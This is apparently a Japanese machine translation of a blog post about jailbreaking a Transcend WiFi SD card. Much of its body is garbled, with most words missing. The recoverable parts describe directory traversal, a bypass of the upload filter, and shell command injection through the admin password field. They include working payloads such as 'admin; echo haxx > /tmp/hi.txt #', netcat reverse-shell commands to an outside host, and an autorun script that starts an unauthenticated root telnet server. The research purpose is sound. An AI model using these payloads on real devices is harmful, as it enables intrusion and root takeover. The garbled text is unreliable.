Transcend WiFi SDHCメモリーカードのハッキング

翻訳は少し無料ですが、意味は失われません。 私(翻訳者)はこのカードに長い間興味を持ち、ほとんどすぐに注文しました。今日、郵便局からそれを受け取りましたが、それを十分に入手できませんが、トランセンドが提供する以上のものが必要です。 たくさんの手紙。

最近、トランセンドのWiFi SDメモリカードの所有者になりました。これにより、「DSLR」(通常はSony NEXですがコンパクト)からWiFiを搭載したデバイスに数秒で写真を転送できます。 そして、写真を撮ってその場で共有するのが好きなので、写真を携帯電話にワイヤレスで転送できるSDカードは素晴らしい解決策のようです。 そしてそれはそうでした! (まだそうです)。 モバイルアプリケーションは...できません。もっと良いはずです(表示用に7MBの画像をダウンロードし、後で[ダウンロード]をクリックしてダウンロードするのはなぜですか?)、しかし一般的にはうまくいきます!

このような小さなデバイスは16GBまたは32GBを保存できるだけでなく、Webサーバーなどのアプリケーションを起動したり、WiFiを介して他のデバイスと通信したり、独自のワイヤレスネットワークを作成したりできる組み込みシステムでもあります。 しかし、チャットをやめましょう:このデバイスにもっと多くのことをさせることができますか?

この投稿は、ルートアクセス(ジェイルブレイク)を取得できる実際のエクスプロイトだけでなく、バ​​グの調査と発見のプロセスについても説明しています。

ハックの準備をする


最初は、カードに何らかの種類の組み込みLinuxがあると想定していました。 その場合、機能の拡張は非常に簡単です。 しかし、最初に、システムを自分で管理する必要があります。 これまでは、このカードではAndroidおよびiOSアプリケーションのみを使用していましたが、PCと通信する最も簡単なオプションはWebインターフェースであることは明らかでした。 そして、次の考えがすぐに私の頭に浮かびました:
モバイルアプリケーションが非常にくだらない場合は、Webインターフェースの方が良くありません...多分それはあなたの利益のために使用できるバグでいっぱいです。

!
(IP 192.168.11.254 ( 253, ), admin), , . « », « ». , «» , .

«Files» , . , . ? , , . «Parent Directory» URL(%2F "/"):
192.168.11.254/cgi-bin/file_list.pl?dir=%2Fwww%2Fsd
/www, URL: 192.168.11.254/cgi-bin/file_list.pl?dir=%2Fwww
, . /, /bin, /etc . , :( . ! , , . ?dir=/www/sd/../.. , /, !

, ! , /www/sd, "../". . , , , !

, , busybox, busybox. , /www/cgi-bin. , .


! , , « », , :)
, , , . — Perl . Perl open(), , , shell , «» (pipe). open("cat /etc/passwd |"). open() , , . , .

, open() . kcard_upload.pl :


! kcard_upload.pl , cgi-bin . . facepalm: , ! ?
kcard_upload.pl, , $basename .
, $basename , GetBasename($upfile). $upfile ( ). , , HTML . , GetBasename . ( «» ../../ ) .
, $basename , .. , , .
, kcard_upload.pl PNG, JPG, BMP GIF .
? !

, , , , .

, , , . "\". /\.GIF$/, /.GIF/, , , /hi/helPNGlo/asdf.something. !

, ( ), , . .

, , GetBasename() $basename. GetBasename() . /path/to/file.txt file.txt. , - "../../bin/our-malicious.script", "our-malicious.script" DCIM/198_WIFI/


, GetBasename() , .
: windows ( OC windows). ! windows , . ! :
/////\////
, windows, ( ), . ////

! /PNG/something\/../../our-malicious.script . . — . ! ../DCIM/198_WIFI , /www/cgi-bin, ( ../sd/DCIM/198_WIFI). , . . , ( , ?). , . - .
( , , kcard_upload.pl , wifi_upload, HTTP POST .)


! , . , . «» . , .

shell perl , , shell ! system() — shell perl . system() .pl .cgi , , . shell perl — qx{} , . , — , qx{}. , , shell . ! .. shell , .

kcard_save_config_insup.pl, :


, $update_auth, $LOGIN_USR $LOGIN_PWD. , . ! , «Settings». 192.168.11.254/kcard_edit_config_insup.pl. . , , ! -, , shell $update_path. , . , # ( ), > /mnt/mtd/config/ia.passwd.

, : admin; echo haxx > /tmp/hi.txt #
, , . , javascript, , . Chrome Form Editor .

, , /tmp , . .


«admin», . ( , ).

root?


, shell . , .
/usr/bin , shell: netcat (nc), telnet . shell , , , shell (, ). , — Netcat:
nc 192.168.11.11 1337 -e /bin/bash
netcat ( IP 192.168.11.11) 1337 bash . , , , «» admin; nc 192.168.11.11 1337 -e /bin/bash #. . telnet . ? nc, telnet /usr/bin, ! busybox SD Linux. . , telnet netcat stdout stderr /tmp/hi.txt, : nc 192.168.11.11 1337 -e /bin/bash &> /tmp/hi.txt. hi.txt, : nc: applet not found, nc. ! , ? ! :)

, wget transcend- , . busybox :))) , , busybox http://busybox.net/downloads/binaries/latest/, busybox-armv5l wget 192.168.11.11/busybox-armv5l , /www/cgi-bin. chmod a+x /www/cgi-bin/busybox-armv5l , .

shell! 1337 nc -vv -l 1337, SD /www/cgi-bin/busybox-armv5l nc 192.168.11.11 1337 -e /bin/bash. busybox , /www/cgi-bin/busybox-armv5l shell ! , /www/cgi-bin/busybox-armv5l id , root-!




, , SD ( , ). , - «» perl , kcard_login.pl, , . wsd.conf javascript . , . javascript!


, 192.168.11.254/cgi-bin/kcard_login.pl . .

!



(rcS.p rcS), , autorun_fu.sh autorun.sh . . , Transcend!


( autorun.sh), busybox-armv5l , telnet :
cp /mnt/sd/busybox-armv5l /sbin/busybox
chmod a+x /sbin/busybox
/sbin/busybox telnetd -l /bin/bash &

:


!

, , . keyasic
:

Source: https://habr.com/ru/post/J191742/


All Articles